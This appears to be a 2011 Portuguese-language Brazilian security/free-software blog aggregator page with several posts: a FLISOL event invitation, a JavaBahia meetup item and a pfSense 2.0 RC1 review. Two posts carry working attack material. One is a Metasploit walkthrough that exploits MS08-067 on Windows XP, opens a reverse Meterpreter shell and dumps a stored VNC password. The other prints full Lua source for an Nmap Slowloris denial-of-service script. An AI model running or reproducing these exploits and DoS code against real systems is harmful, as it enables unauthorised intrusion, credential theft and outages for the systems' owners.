Alexandro Silva: Participe do FLISOL 2011 em Salvador

FLISoL — Festival Latinoamericano de Instalação de Software Livre — é o maior evento de difusão de Software Livre da América Latina e acontece paralelamente em várias cidades no Brasil e em toda a América Latina. Participe!

Dessa vez o evento será realizado junto ao Gnome Release Party e openSUSE Release Party, ou seja, será uma GRANDE festa!
Convido todos os interessados por software livre, principalmente os iniciantes, para esse evento que visa, primeiramente, divulgar o software livre para os leigos e, como sempre, congregar os companheiros da comunidade.

Site: http://softwarelivre.org/flisol-ssa/2011
Local: Faculdade Dom Pedro II
End: Av. Estados Unidos nº 20 – Comércio. Salvador-BA
Mapa de Localização: Google Maps

Infelizmente não poderei participar deste grande evento pois estarei no Web Security Forum.

Boa sorte a todos!!!

Alexandro Silva: MSF Meterpreter: Quebrando senhas do VNC

Recentemente Chris Gate escreveu sobre o getvncpw, está feature do payload MSF Meterpreter quebra o algoritmo DES de senhas do *VNC.

Rob Fuller aka mubix reescreveu o módulo adicionando várias funcionalidades e melhorias, como ele ainda não está integrado ao MSF poderá ser baixado AQUI

Vamos aos testes

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 11.11.11.11:4444
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 3 – lang:Portuguese – Brazilian
[*] Selected Target: Windows XP SP3 Portuguese – Brazilian (NX)
[*] Attempting to trigger the vulnerability…
[*] Sending stage (749056 bytes) to 11.11.11.11
[*] Meterpreter session 2 opened (11.11.11.12:4444 -> 11.11.11.11:1032) at Mon Mar 21 15:57:38 -0300 2011

meterpreter > background

msf exploit(ms08_067_netapi) > use post/windows/gather/enum_vnc_pw

msf post(enum_vnc_pw) > set SESSION 1

SESSION => 1

msf post(enum_vnc_pw) > run

[*] Enumerating VNC passwords on VITIMA
[*] Checking UltraVNC…
[*] Checking WinVNC3_HKLM…
[*] Checking WinVNC3_HKCU…
[*] Checking WinVNC3_HKLM_Default…
[*] Checking WinVNC3_HKCU_Default…
[*] Checking WinVNC_HKLM_Default…
[*] Checking WinVNC_HKCU_Default…
[*] Checking WinVNC4_HKLM…
[+] WinVNC4_HKLM => 2101f4d191cf99ca => DcLabsgays on port: <== OLHE A SENHA AQUI ;-P
[*] Checking WinVNC4_HKCU...
[*] Checking RealVNC_HKLM...
[*] Checking RealVNC_HKCU...
[*] Checking TightVNC_HKLM...
[*] Checking TightVNC_HKLM_Control_pass...
[*] Post module execution completed
msf post(enum_vnc_pw) >

Com certeza este é um excelente módulo. Cuidado com seus VNCs jejejejejeje!!!!!

Alexandro Silva: Nmap: Script detecta servidores vulneráveis a ataques de DoS com o Slowloris

O desenvolvimento de scripts para o Nmap anda a toda velocidade. Atendendo a pedidos na NSE Wiki o desenvolvedor Ange Gutek disponibilizou o draft de um script que detecta se o servidor está vulnerável a ataques de DoS usando o Slowloris.

De acordo com Gutek nesse momento o script fará o ataque sem saber se foi bem sucedido ou não, também não gera nenhuma saída e rodará para sempre. O monitoramento é feito através do modo debug (-d).

Sintaxe:

nmap –script http-slowloris –script-args [ARGUMENTOS] [ALVO]

Argumentos:

http-slowloris.threads – Número máximo de conexões concorrentes, se o alvo for Windows esse valor limita-se a 130.

http-slowloris.timeout – Tempo de espera antes de enviar novos dados httpheader. Padrão 100 segundos.

Gutek está convocando contribuidores para ajudar no aprimoramento do script.

Código:

description = [[
Tests a webserver against the Slowloris DoS attack, as it was described at Defcon 17 by RSnake
(see http://ha.ckers.org/slowloris/)

This script opens and maintains numerous 'half-http' connections until the webserver runs out of ressources,
leading to a denial of service.
When the DoS condition is met the script then stops the attack and returns the payload datas as they could be usefull to tweak further filtering rules:
- Time taken until DoS
- Number of threads used
- Number of queries sent (or: amount of datas sent, in bytes)

TODO
o Add a stopping mechanism
+ reserve a thread to monitor the webserver from time to time. If not responding, then stop.
o Analyze the threads: if the number of effective connections is lower than required by the script, maybe notify of a potential filtering rule ahead.
o Add user-supplied arguments:
+ threads, the max number of concurrent connections on the target: on Windows it seems to be limited to 130
+ timeout, time to wait before sending new http header datas in order to maintain the connection. Defaults to 100 seconds, but could be measured as slowloris.pl does

]]

—
– @usage
– nmap –script http-slowloris –script-args http-slowloris.threads=500 http-slowloris.timeout=200
–
– @args http-slowloris.threads The max number of concurrent connections on the target: on Windows it seems to be limited to 130.
– @args http-slowloris.timeout Time to wait before sending new http header datas in order to maintain the connection. Defaults to 100 seconds.
–
– () output
– 80/tcp open http syn-ack
– | http-slowloris: Target was DoSed:
– | the attack took to succeed
– | with concurrent connections
– |_ with sent

author = “Ange Gutek”

license = “Same as Nmap–See http://nmap.org/book/man-legal.html”
categories = {“dos”, “intrusive”}

require “shortport”
require “stdnse”

portrule = shortport.http

action = function(host, port)

math.randomseed(os.time())
local output,i
local threads = {}
nmap.registry.slowloris = {}
nmap.registry.slowloris['threads']=1

— Threaded function ——————————————————————
local doHalfhttp = function(host,port)
local get_uri = math.random(100000, 900000) — we will query a random page
— create socket
local slowloris = nmap.new_socket()
local catch = function()
slowloris:close()
end
local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port))

— Build a half-http header. Maybe the user-agent string should outline Nmap instead ?
local half_http = “GET /”..get_uri..” HTTP/1.1\r\n”
half_http = half_http..”Host: “..host.ip..”\r\n”
half_http = half_http..”User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n”
half_http = half_http..”Content-Length: 42\r\n”

try(slowloris:send(half_http))
local count = nmap.registry.slowloris['threads'] — retrieve the number of already effective connection

count = count + 1
nmap.registry.slowloris['threads']=count
stdnse.print_debug(1, “%s: USING %d THREADS)…”, SCRIPT_NAME, nmap.registry.slowloris['threads'])

local queries = 2
while true do
— this is where we set the time to wait before maintaining the connection by sending a new line to the http header
— this value would be more efficient if it was just below the target timeout
stdnse.sleep(100)
try(slowloris:send(“X-a: b\r\n”))
queries = queries + 1
queries = queries * nmap.registry.slowloris['threads']
stdnse.print_debug(1, “%s: SENT %d QUERIES SO FAR (using %d threads)…”, SCRIPT_NAME, queries,nmap.registry.slowloris['threads'])
end

end
— ————————————————————————————

— Main
for i=1,1000 do — Number of threads to launch
local co = stdnse.new_thread(doHalfhttp, host, port)
threads[co] = true
end
return output

end

JavaBahia: II encontro do JavaBahia nas Faculdades

JavaBahia: II encontro do javaBAhia nas Faculdade

Jamson Átila: pfSense RC1

Final do mês de Janeiro foi divulgado nos mirros a nova versão do sistema, ainda em fase experimental, porém estável. O pfSense 2.0 RC1 traz inúmeras melhorias, dentre algumas que vou citar mais abaixo.

Algumas pessoas perguntam qual a minha opnião sobre a utilização de um firewall com interface WEB. Bom, particularmente sou suspeito pra falar, pois participo do projeto desde que fui apresentado pelos meus ‘gurus’ Rogério Moreira e Alexandro Silva. Adoro tecnologias open source que facilitam o dia a dia do Sysadmin, afinal temos tantas atividades, projetos e problemas a resolver que, se temos uma tecnologia disponível, estável, confiável e fácil de usar, porque preocuparmos com tarefas operacionais repetitivas?

O pfSense leva inovações ao Administrador da Rede facilitando a investigação do tráfego, análise de regras, planejamento da infraestrutura e resolução de problemas de rede. Sabemos que utilizar um firewall não é apenas configurar regras quando necessário, e sim monitorar suas atividades, extrair relatórios, gráficos em tempo real de maneira simples e rápida.
A ultima versão (1.2.3) foi lançada em 2009, como o sistema estava muito estável demorou um tempo até a versão atual 2.0 RC1, onde trouxe várias melhorias, ALGUMAS delas pude perceber instantâneamente:

Sistema Operacional
- Baseado no FreeBSD 8.1 – o ultimo era baseado no 7.2
- Boot mais rápido
- Além da opção de instalação Customizada (Padrão na versão anterior), possui agora:
- Restauração direta da configuração = arquivo .xml deve estar no diretório /tmp
- Instalação rápida – pulando as etapas como particionamento de disco e outros.

Visual
- Dashboard já integrado
- Mais temas
- Monitor de Balanceamento de carga
- Inclusão do menu HELP (Encaminhando para páginas: Wiki e desenvolvedores, base de dados de Bug, Foruns)
- Pacote Rate já integrado – Análise de tráfego de cada endereço na sua rede

Funcional
- Gerenciamento de usuários
- Integração com o AD
- Escalonamento de privilégios
- Tempo de acesso
- Adicionado a possibilidade de configurar uma VPN com L2TP
- Senha nos backups
- VPN PPTP suporta mais usuários
- 4 Endereços de DNS
- Disgnósticos de mais recursos: Discos, pacotes, processos
- Filtro de protocolos Layer 7
- Aplicação de Traffic Shaper individualmente nas interfaces
- Além de Suporte 3G

Lista completa dos novos recursos você pode conferir no endereço.

Se você ficou interessado em experimentar, pode baixar no link. Se deseja migrar logo o seu pfSense para a versão mais nova, aconselho testar antes, pois a boa prática é que seja um processo suave, mudança aos poucos. Os desenvolvedores do sistema informam que algumas partes da configuração é consideravelmente diferente nas versões 1.2.x, e suspeitam que possa haver alguns problemas de configuração na atualização, embora ainda não têm conhecimento de quaisquer problemas específicos até este momento, onde foi testado com uma grande variedade de configurações.

De todo modo vale a pena estudar minusciosamente a implantação do sistema, ter cautela é uma característica indispensável. E não esqueçam [O lançamento da versão estável oficial está muito próximo]